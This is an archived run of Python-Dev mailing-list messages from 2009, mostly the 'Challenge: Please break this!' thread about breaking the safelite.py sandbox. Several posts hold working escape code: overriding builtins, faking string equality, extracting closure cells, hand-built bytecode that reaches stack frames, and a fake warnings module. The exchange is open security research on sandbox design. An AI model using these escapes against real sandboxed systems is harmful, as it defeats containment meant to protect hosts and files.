<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> <49A2906A.3030202@gmail.com> <49A313BE.4090003@gmail.com> Message-ID: On Mon, Feb 23, 2009 at 13:23, Nick Coghlan wrote: > Brett Cannon wrote: > > Well, neither do I as your proposed approach below is what I do for > > warnings. > > It's possible I actually had test_warnings.py open in another window > while writing that example function... ;) > > As Steven said, your concerns are precisely why I'm suggesting hiding > this in a helper function - so people that aren't quite as comfortable > playing games with sys.modules can still use it to suppress particular > extension modules when writing tests. Initially for the Python > regression test suite only, but perhaps eventually in importlib if we're > happy with the way it works out for us. > Sounds like a plan. > > Created http://bugs.python.org/issue5354 and assigned it to myself so we > don't forget about it. If we do end up going with this approach I am willing to help out with moving the standard library over. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From tav at espians.com Mon Feb 23 23:41:30 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 22:41:30 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] Message-ID: > I take it back, we need to find all the trivial ones too. Agreed! > BTW Tav, you ought to create a small website for this challenge. A > blog post or wiki page would suffice. Done. http://tav.espians.com/a-challenge-to-break-python-security.html Please blog/retweet and of course, try the challenge yourselves =) -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From martin at v.loewis.de Mon Feb 23 23:41:30 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Mon, 23 Feb 2009 23:41:30 +0100 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> Message-ID: <49A3261A.8040903@v.loewis.de> > Could one of you please review: > > http://codereview.appspot.com/20051 > > The patch is a mere 6 lines of code and provides the absolute minimum > that is needed to secure the Python interpreter! Unlike Guido, I'm not quite willing to your word for it. OTOH, the patch looks harmless (with minor corrections). It could be considered a bug fix for the current set of restricted attributes (although I do wish somebody would present a design telling what reflective attributes must be restricted and why; the current set looks arbitrary) Regards, Martin From martin at v.loewis.de Mon Feb 23 23:42:53 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Mon, 23 Feb 2009 23:42:53 +0100 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> Message-ID: <49A3266D.5050505@v.loewis.de> > And, here's a version for Python 2.6+ -- diffed against an svn > checkout of the current python/trunk: > > http://codereview.appspot.com/21051/show > > Please review also. Cheers! No need to provide two versions. Regular back-merging should be able to deal with that just fine. Regards, Martin From guido at python.org Mon Feb 23 23:51:30 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 14:51:30 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: TWIW, on Twitter, Ian Bicking just came up with a half-solution. I figured out the other half. I guess you own Ian drinks and me dinner. :-) $ python Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from safelite import FileReader >>> class S(str): ... def __eq__(self, o): print o; return 'r' == o ... >>> f = FileReader('w00t', S('w')) r >>> f.close() >>> $ ls -l w00t -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t $ On Mon, Feb 23, 2009 at 2:41 PM, tav wrote: >> I take it back, we need to find all the trivial ones too. > > Agreed! > >> BTW Tav, you ought to create a small website for this challenge. A >> blog post or wiki page would suffice. > > Done. > > http://tav.espians.com/a-challenge-to-break-python-security.html > > Please blog/retweet and of course, try the challenge yourselves =) > > -- > love, tav > > plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 > http://tav.espians.com | http://twitter.com/tav | skype:tavespian > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From steve at holdenweb.com Mon Feb 23 23:58:21 2009 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Feb 2009 17:58:21 -0500 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: Don't I remember the previous restricted module dying a similar "death of 1,000 cuts" before it was concluded to be unsafe at any height and abandoned? regards Steve Guido van Rossum wrote: > TWIW, on Twitter, Ian Bicking just came up with a half-solution. I > figured out the other half. I guess you own Ian drinks and me dinner. > :-) > > $ python > Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) > [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. >>>> from safelite import FileReader >>>> class S(str): > ... def __eq__(self, o): print o; return 'r' == o > ... >>>> f = FileReader('w00t', S('w')) > r >>>> f.close() >>>> > $ ls -l w00t > -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t > $ > > > On Mon, Feb 23, 2009 at 2:41 PM, tav wrote: >>> I take it back, we need to find all the trivial ones too. >> Agreed! >> >>> BTW Tav, you ought to create a small website for this challenge. A >>> blog post or wiki page would suffice. >> Done. >> >> http://tav.espians.com/a-challenge-to-break-python-security.html >> >> Please blog/retweet and of course, try the challenge yourselves =) >> -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From tav at espians.com Tue Feb 24 00:03:09 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 23:03:09 +0000 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <49A3261A.8040903@v.loewis.de> References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> <49A3261A.8040903@v.loewis.de> Message-ID: Hey Martin, >> The patch is a mere 6 lines of code and provides the absolute minimum >> that is needed to secure the Python interpreter! > > Unlike Guido, I'm not quite willing to your word for it. You are right. Sorry, I was a bit too enthusiastic and overstated the case. How about: "it could possibly enable a secured Python interpreter" ? > OTOH, the patch looks harmless (with minor corrections). It could > be considered a bug fix for the current set of restricted attributes Yes, and it is in that light that I would like the patch to be accepted. -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From guido at python.org Tue Feb 24 00:07:31 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 15:07:31 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: Sorry, it wasn't Ian Bicking. I have no idea what made me thing that. I guess I am not yet an experienced Tweeter. :-( It was Mark Eichin, CC'ed here. --Guido On Mon, Feb 23, 2009 at 2:51 PM, Guido van Rossum wrote: > TWIW, on Twitter, Ian Bicking just came up with a half-solution. I > figured out the other half. I guess you own Ian drinks and me dinner. > :-) > > $ python > Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) > [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. >>>> from safelite import FileReader >>>> class S(str): > ... def __eq__(self, o): print o; return 'r' == o > ... >>>> f = FileReader('w00t', S('w')) > r >>>> f.close() >>>> > $ ls -l w00t > -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t > $ > > > On Mon, Feb 23, 2009 at 2:41 PM, tav wrote: >>> I take it back, we need to find all the trivial ones too. >> >> Agreed! >> >>> BTW Tav, you ought to create a small website for this challenge. A >>> blog post or wiki page would suffice. >> >> Done. >> >> http://tav.espians.com/a-challenge-to-break-python-security.html >> >> Please blog/retweet and of course, try the challenge yourselves =) >> >> -- >> love, tav >> >> plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 >> http://tav.espians.com | http://twitter.com/tav | skype:tavespian >> > > > > -- > --Guido van Rossum (home page: http://www.python.org/~guido/) > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From martin at v.loewis.de Tue Feb 24 00:16:03 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Feb 2009 00:16:03 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: <49A32E33.5090607@v.loewis.de> > Don't I remember the previous restricted module dying a similar "death > of 1,000 cuts" before it was concluded to be unsafe at any height and > abandoned? I think you are slightly misremembering. It got cut again and again, but never died. Then, new-style classes hit an artery, and it bled to death. I'm curious how this one fares. Regards, Martin From tav at espians.com Tue Feb 24 00:22:19 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 23:22:19 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: guido> >>> class S(str): guido> ... def __eq__(self, o): print o; return 'r' == o guido> [snip] Very devious -- @eichin and Guido! You guys get the price for the cutest exploit yet -- but sadly no dinner or drinks -- that was just for the first crack -- which goes to Victor =) steve> Don't I remember the previous restricted module dying a steve> similar "death of 1,000 cuts" before it was concluded steve> to be unsafe at any height and abandoned? Steve, this isn't death by a 1,000 cuts. What's being put forward here is not a specific implementation -- but rather a specific model of security (the object capability model) -- which has been proven to be foolproof. The question here is whether Python can support that. And, my belief is that it can. Besides the really nice __eq__ hack, the other exploits so far are just an inappropriate setup of the environment -- the trick with object capability is *ensuring* that unsafe references aren't passed to untrusted code. In an earlier version of safelite, I even returned the actual file object when f.close() was called... oops! But that doesn't invalidate the model or the possibility of using it in Python. What would invalidate it is someone finding a way to bypass it completely in Python and this challenge is an attempt to see if we can find such a way. -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From guido at python.org Tue Feb 24 00:26:13 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 15:26:13 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <49A32E33.5090607@v.loewis.de> References: <49A32E33.5090607@v.loewis.de> Message-ID: On Mon, Feb 23, 2009 at 3:16 PM, "Martin v. L?wis" wrote: >> Don't I remember the previous restricted module dying a similar "death >> of 1,000 cuts" before it was concluded to be unsafe at any height and >> abandoned? > > I think you are slightly misremembering. It got cut again and again, > but never died. Then, new-style classes hit an artery, and it bled > to death. > > I'm curious how this one fares. FWIW, I am remembering more about how Samuele cracked it. It had to do with getting the supervisor code to call one of its own functions with arguments provided by the sandboxed code. Tav's safelite.py doesn't seem to be directly exploitable that way because (using ctypes hacks) it *removes* some offending special methods. But that door would be at least slightly ajar with Tar's proposed patch to Python, as that doesn't remove the offending attributes (__subclasses__ etc.); it only forbids them in restricted mode. But this once again enables Samuele's hack. (Oh if I only could find the link with the actual attack -- it was quite a bit more devious than attacks linked to so far.) -- --Guido van Rossum (home page: http://www.python.org/~guido/) From nas at arctrix.com Tue Feb 24 00:33:55 2009 From: nas at arctrix.com (Neil Schemenauer) Date: Mon, 23 Feb 2009 23:33:55 +0000 (UTC) Subject: [Python-Dev] Silencing IO errors on del/dealloc? References: Message-ID: Guido van Rossum wrote: > No. Trust me. It is not always possible to strengthen the > implementation. (At least not until we get rid of the "replace all > globals with None upon module deletion" rule.) We should do that. Trying to do cleanup without globals sucks. I updated Armin's patch that's attached to issue #812369. If we could get some more people to bang on it then prehaps we can trust it enough to accept it. If someone wants to test and needs help, give me a shout. Neil From guido at python.org Tue Feb 24 00:42:04 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 15:42:04 -0800 Subject: [Python-Dev] Silencing IO errors on del/dealloc? In-Reply-To: References: Message-ID: On Mon, Feb 23, 2009 at 3:33 PM, Neil Schemenauer wrote: > Guido van Rossum wrote: >> No. Trust me. It is not always possible to strengthen the >> implementation. (At least not until we get rid of the "replace all >> globals with None upon module deletion" rule.) > > We should do that. Trying to do cleanup without globals sucks. I > updated Armin's patch that's attached to issue #812369. If we could > get some more people to bang on it then prehaps we can trust it > enough to accept it. If someone wants to test and needs help, give > me a shout. So how do you get destructors to run in that case? Or do you just not run them? Then open files may not be closed and may not even see their buffer flushed. I'm not happy about that. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From flashk at gmail.com Tue Feb 24 00:51:25 2009 From: flashk at gmail.com (Farshid Lashkari) Date: Mon, 23 Feb 2009 15:51:25 -0800 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: Message-ID: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com> It seems like some code in safelite passes a file object to isinstance. By overriding the builtin isinstance function I can get access to the original file object and create a new one. Here is the code I used: from safelite import FileReader _real_file = None def _new_isinstance(obj,types): global _real_file if _real_file is None and obj.__class__.__name__ == 'file': _real_file = obj.__class__ return _old_isinstance(obj,types) _old_isinstance = __builtins__.isinstance __builtins__.isinstance = _new_isinstance FileReader('nul') f = _real_file('foo.txt','w') f.write('hello') f.close() -Farshid On Mon, Feb 23, 2009 at 12:10 PM, tav wrote: > Hey all, > > As an attempt to convince everyone of the merits of my functions-based > approach to security, I've come up with a simple challenge. I've > attached it as safelite.py > > The challenge is simple: > > * Open a fresh Python interpreter > * Do: >>> from safelite import FileReader > * You can use FileReader to read files on your filesystem > * Now find a way to *write* to the filesystem from your interpreter > > Please note that the aim of this isn't to protect Python against > crashes/segfaults or exhaustion of resources attacks, so those don't > count. > > I'm keen to know your experiences even if you don't manage to write to > the filesystem -- and especially if you do! > > Dinner and drinks on me for an evening -- when you are next in London > or I am in your town -- to the first person who manages to break > safelite.py and write to the filesystem. > > Good luck and thanks! =) > >> If you block __closure__ and __globals__ on function objects you will get a >> semblance of a private namespace. That way you might (I have not thought >> this one through like securing the interpreter for embedding) be able to get >> what you need to safely pass in Python code through the globals of the code >> being executed. > > Brett, this is exactly what I do. You also need to restrict func_code. > The patch is simply for closing the other loopholes: > type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible > in a patch of 6 lines of code thanks to Python's existing restricted > framework in the interpreter. > > Please review and accept =) > > * http://codereview.appspot.com/20051 > * http://codereview.appspot.com/21051 > > Thanks! > > -- > love, tav > > plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 > http://tav.espians.com | @tav | skype:tavespian > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/flashk%40gmail.com > > From solipsis at pitrou.net Tue Feb 24 00:59:29 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Mon, 23 Feb 2009 23:59:29 +0000 (UTC) Subject: [Python-Dev] =?utf-8?q?Challenge=3A_Please_break_this!_=28was=3A_?= =?utf-8?q?Reviving=09restricted_mode=29?= References: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com> Message-ID: Farshid Lashkari gmail.com> writes: > > It seems like some code in safelite passes a file object to > isinstance. By overriding the builtin isinstance function I can get > access to the original file object and create a new one. Here is the > code I used: I guess Tav should open a restaurant :-) From victor.stinner at haypocalc.com Tue Feb 24 01:06:54 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 24 Feb 2009 01:06:54 +0100 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com> References: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com> Message-ID: <200902240106.54442.victor.stinner@haypocalc.com> Le Tuesday 24 February 2009 00:51:25 Farshid Lashkari, vous avez ?crit?: > It seems like some code in safelite passes a file object to > isinstance. By overriding the builtin isinstance function I can get > access to the original file object and create a new one. Wow, excellent idea! -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From victor.stinner at haypocalc.com Tue Feb 24 01:14:02 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 24 Feb 2009 01:14:02 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: <200902240114.02265.victor.stinner@haypocalc.com> Le Tuesday 24 February 2009 00:22:19 tav, vous avez ?crit?: > guido> >>> class S(str): > guido> ... def __eq__(self, o): print o; return 'r' == o > guido> [snip] > > Very devious -- @eichin and Guido! mode = str(mode) is not enough to protect FileReader about evil object faking "r" string. Example without safelite.py: -------------------- class Mode(str): def __str(__self): return self def __eq__(self, x): return x == 'r' mode = Mode('w') mode = str(mode) assert mode == 'r' # ok ! f=open('x', mode) -> opened in write mode -------------------- ... hey! The rules (safelite.py) changed one more time! The check on mode is now: if type(mode) is not type(''): raise TypeError("mode has to be a string.") Could you keep all versions of safelite.py? (eg. rename new version as safelite2.py, safelite3.py, etc.) -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From greg.ewing at canterbury.ac.nz Tue Feb 24 01:16:17 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Tue, 24 Feb 2009 13:16:17 +1300 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: <49A33C51.4060808@canterbury.ac.nz> tav wrote: > But that doesn't invalidate > the model or the possibility of using it in Python. However, there's also the matter of whether it's *practical* to use the model in Python. The custom-string exploit illustrates that you have to be extremely careful what you do with, and what you assume about, anything given to you by untrusted code. How confident is the user of the capability model going to be that there isn't some other obscure exploit that he hasn't thought of? To be able to have confidence in it, a capability model needs to start with objects having no capabilities at all, and you deliberately add the capabilities you want it to have. But Python objects come by default with a huge number of capabilities, designed to allow the programmer to do just about anything he wants short of wrecking the internals of the interpreter (wrecking the rest of his computer is fine, though:-). And you not only have to think about the capabilities of the objects that you give to others, but the capabilities of objects that others give to you -- and be careful not to use any of them in a way that could fool you. So while the model may be theoretically sound, applying it to Python is not easy to do in a way that one can have confidence in. -- Greg From guido at python.org Tue Feb 24 01:19:37 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 16:19:37 -0800 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: <200902240106.54442.victor.stinner@haypocalc.com> References: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com> <200902240106.54442.victor.stinner@haypocalc.com> Message-ID: On Mon, Feb 23, 2009 at 4:06 PM, Victor Stinner wrote: > Le Tuesday 24 February 2009 00:51:25 Farshid Lashkari, vous avez ?crit : >> It seems like some code in safelite passes a file object to >> isinstance. By overriding the builtin isinstance function I can get >> access to the original file object and create a new one. > > Wow, excellent idea! I think in the next version Tav will have to stop the sharing of __builtins__ between the supervisor and the sandboxed code. There are too many tricks you can play with this. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From victor.stinner at haypocalc.com Tue Feb 24 01:31:55 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 24 Feb 2009 01:31:55 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: <200902240131.55708.victor.stinner@haypocalc.com> Le Monday 23 February 2009 23:41:30, vous avez ?crit : > http://tav.espians.com/a-challenge-to-break-python-security.html > > Please blog/retweet and of course, try the challenge yourselves =) The challenge can be seen as: is it possible to read "secret" in the following code without using b.func_code, b.func_globals or b.func_closure: --------------------- def a(): secret = 42 def b(): print(secret) return b b = a() secret = ??? --------------------- With func_xxx, it's possible to get the secret with: --------------------- def get_cell_value(cell): return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))() secret = get_cell_value(b.func_closure[0]) # 42 --------------------- Function found at: http://code.activestate.com/recipes/439096/ But how can we get the closure if b.func_closure doesn't exist? Oh, wait! What's this: b.__getattribute__... ------------------------------------- secret = get_cell_value(b.__getattribute__('func_closure')[0]) ------------------------------------- About FileReader, a full exploit: ------------------------------------- from safelite import FileReader def get_cell_value(cell): return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))() # Create 'w' string which is equals to 'r' class Mode(str): def __str__(self): return self def __eq__(self, x): return x == 'r' mode = Mode('w') f = FileReader('0wn3d', 'w') fileobj = get_cell_value(f.tell.__getattribute__('func_closure')[0]) fileobj.write('twice!\n') f.close() ------------------------------------- -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From tav at espians.com Tue Feb 24 01:33:35 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 00:33:35 +0000 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com> <200902240106.54442.victor.stinner@haypocalc.com> Message-ID: Hey all, victor> Could you keep all versions of safelite.py? I took Steven D'Aprano's advice and added a VERSION attribute and state the latest version on http://tav.espians.com/a-challenge-to-break-python-security.html Is that okay? antoine> I guess Tav should open a restaurant :-) Hehe!! Thankfully I only offered to it to the first person *phew!* farshid> It seems like some code in safelite passes farshid> a file object to isinstance. By overriding the farshid> builtin isinstance function I can get access to frashid> the original file object and create a new one. Farshid, this is beautiful!!! Thank you -- it's very nicely done!! Do you have a website I could link to from the blog article? guido> I think in the next version Tav will have to stop guido> the sharing of __builtins__ between the supervisor guido> and the sandboxed code. There are too many guido> tricks you can play with this. Done. The common pattern that arised out of the various builtins-overriding-hacks is that "safe" code should *never* make assumptions about the state of the globals. The use of closures seems to fix this problem with an easily-auditable design pattern. -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From tav at espians.com Tue Feb 24 01:42:04 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 00:42:04 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <200902240131.55708.victor.stinner@haypocalc.com> References: <200902240131.55708.victor.stinner@haypocalc.com> Message-ID: Hey Victor, You definitely got to the heart of the challenge. > f.tell.__getattribute__('func_closure') But, have you actually run that code? Cos that doesn't work here... sorry if I missed something... -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From victor.stinner at haypocalc.com Tue Feb 24 01:43:11 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 24 Feb 2009 01:43:11 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <200902240131.55708.victor.stinner@haypocalc.com> References: <200902240131.55708.victor.stinner@haypocalc.com> Message-ID: <200902240143.12043.victor.stinner@haypocalc.com> Le Tuesday 24 February 2009 01:31:55 Victor Stinner, vous avez ?crit?: > (...) > But how can we get the closure if b.func_closure doesn't exist? Oh, wait! > What's this: b.__getattribute__... > ------------------------------------- > secret = get_cell_value(b.__getattribute__('func_closure')[0]) > ------------------------------------- > (...) Before this exploit, I tried to rewrite get_cell_value() to avoid reading func_xxx ... but it does work, I always need the closure data to get the secret. Anyway, I think that creating executing arbitrary Python bytecode have to be blocked! compile() have to be removed from __builtins__ Extract of my try to rewrite get_cell_value(): ------------------------------------ # get code class c = compile('1', '', 'eval') code = c.__class__ # get function class def func(): pass function = type(func) function.__dict__.clear() # code(argcount, nlocals, stacksize, flags, codestring, constants, names, # varnames, filename, name, firstlineno, lnotab, freevars, cellvars) func_code=code(0, 0, 1, 19, '\x88\x00\x00S', (None,), tuple(), tuple(), '', 'hack', 3, '\x00\x01', ('fileobj',), tuple()) closure = b.func_closure # FIXME: Get b closure!? newread = function(func_code, globals(), func_code.co_name, None, closure) fileobj = newread() ------------------------------------ I'm able to get the code class and so create arbitrary code object, that's bad! If the user is unable to create a code object (no more compile()) or to get the code of a function, it's fine. Note: The byteocode is the bytecode of b() in the following code: def a(): secret = 42 def b(): return secret return b() -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From victor.stinner at haypocalc.com Tue Feb 24 01:47:05 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 24 Feb 2009 01:47:05 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> Message-ID: <200902240147.05139.victor.stinner@haypocalc.com> victor> f.tell.__getattribute__('func_closure') tak> But, have you actually run that code? Ooops, I modified my local copy of safelite.py to disable func_xxx protections :-p With the latest version of safelite.py, my exploit doesn't work anymore. Sorry. -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From nas at arctrix.com Tue Feb 24 01:59:08 2009 From: nas at arctrix.com (Neil Schemenauer) Date: Tue, 24 Feb 2009 00:59:08 +0000 (UTC) Subject: [Python-Dev] Silencing IO errors on del/dealloc? References: Message-ID: Guido van Rossum wrote: > So how do you get destructors to run in that case? Or do you just not > run them? Then open files may not be closed and may not even see their > buffer flushed. I'm not happy about that. Unfortantely I don't have an up-to-date understand of the issues regarding modules and reference cycles. As I understand it, the patches makes the shutdown procedure replace references to modules with weak references thereby allowing most to be GCed. Running finalizers in that environment is causes less problems then just directly clobbering global vars with None. Neil From guido at python.org Tue Feb 24 01:59:57 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 16:59:57 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <200902240147.05139.victor.stinner@haypocalc.com> References: <200902240131.55708.victor.stinner@haypocalc.com> <200902240147.05139.victor.stinner@haypocalc.com> Message-ID: Another potential avenue for attacks: I can access the various class and metaclass objects easily: >>> f = FileReader('/etc/passwd') >>> f.__class__ >>> f.__class__.__metaclass__ >>> f.__class__.__metaclass__.__call__ >>> f.__class__.__metaclass__.__call__.im_func >>> kall = f.__class__.__metaclass__.__call__.im_func >>> Now calling kall() with appropriate arguments will allow me to let the supervisor do setattr() operations on any object I have access to. It will probably end with an exception but that shouldn't matter: >>> kall(f.__class__.__metaclass__, [('foo', 47)]) >>> f.__class__.__metaclass__.foo 47 >>> Insofar as the metaclass has any purpose at all for security this might let us thwart that purpose... -- --Guido van Rossum (home page: http://www.python.org/~guido/) From tav at espians.com Tue Feb 24 08:07:17 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 07:07:17 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <200902240147.05139.victor.stinner@haypocalc.com> Message-ID: guido> I can access the various class and metaclass objects guido> easily [snip] It would've been possible to replace __call__ on the metaclass -- which, though not a security leak by itself, could've been abused for some fun. I've inlined the __metaclass__ to prevent fun of this kind. But the really tricky one so far is this hardcore hack that Paul Cannon emailed in: >>> from safelite import FileReader >>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)) >>> try: ... FileReader('foo', 2) ... except: ... pass ... >>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n') He explains it in detail here: http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html It's very cool! He uses the ``compile`` builtin to get hold of the CodeType and then uses that to construct a nifty function with custom bytecode. Turns out that with the bytecode one can grab traceback objects off of the stack!! And, from there, it's just a mere attribute access away to get hold of traceback.tb_frame! Paul, wisely, outlines the two possible options to remedy this: 1. Remove ``compile`` from the safe builtins 2. Take out ``tb_frame`` If compile is not present and given that func_code and gi_code are not present -- are there other ways of getting at the CodeType? If there aren't then getting rid of compile gives us an easy win. If getting rid of tb_frame is the approach -- then you were right Guido -- there are more variables which need to be restricted! But, this just makes the patch into 7 lines of code instead of 6, so I'm still happy =) The only thing I can't figure out is how to get rid of the attribute using ctypes for the safelite challenge as calling dictionary_of(TracebackType) in safelite.py presents a very minimal {'__doc__': None} Also, the comments in Lib/types.py states: # In the restricted environment, exc_info returns (None, None, # None) Then, tb.tb_frame gives an attribute error I can't seem to find the place in the Python source where exc_info() behaves differently under restricted mode... Thoughts on which of the two options is better would be very appreciated! And thanks for the ongoing hacks guys -- this is turning out great!! -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From tav at espians.com Tue Feb 24 09:27:01 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 08:27:01 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: Daniel emailed in the exploit below and it is pretty devastating. It takes advantage of the fact that the warnings framework in 2.6+ dynamically imports modules without being explicitly called!! I've fixed this hole in safelite.py, but would be interested to know if there are other non-user-initiated dynamically imported modules? Thanks Daniel for bringing this to our attention! On Tue, Feb 24, 2009 at 4:46 AM, Daniel (ajax) Diniz wrote: > Here's my attempt. Uses the builtin warnings module.You might need to > change 'args[1]' to 'args[2]' depending on your environment. > > I really don't like to post these to public MLs, but feel free to do > so if you think no harm may arise from this one ;) > > Daniel > ---- > > from safelite import FileReader > > # Let's build a fake module > warnings = __builtins__.__class__('warnings') > > # Fill it with deception > warnings.default_action = "ignore" > > # And provide a supporting thug > def __import__(*args): > ? ?try: > ? ? ? ?print "How nice:\n", args[1].keys() > ? ? ? ?global sys > ? ? ? ?sys = args[1]['sys'] > > ? ?except Exception, v: > ? ? ? ?print "Exception:", v > ? ?return warnings > > # Put the bogus module at the doorstep... > __builtins__.warnings = warnings > > # and have the thug replacing the doorman > __builtins__.__import__ = __import__ > > # An unsuspecting costumer passes by... > 